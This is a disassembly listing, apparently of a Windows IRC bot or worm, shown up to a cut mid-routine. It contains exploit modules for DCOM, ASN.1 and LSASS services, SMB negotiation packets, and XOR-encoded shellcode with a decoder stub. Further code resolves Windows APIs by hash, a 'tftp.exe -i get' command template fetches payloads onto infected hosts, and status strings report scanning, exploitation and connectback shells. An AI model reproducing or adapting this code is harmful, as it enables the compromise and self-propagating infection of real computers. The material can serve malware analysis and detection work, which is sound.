		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset byte_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


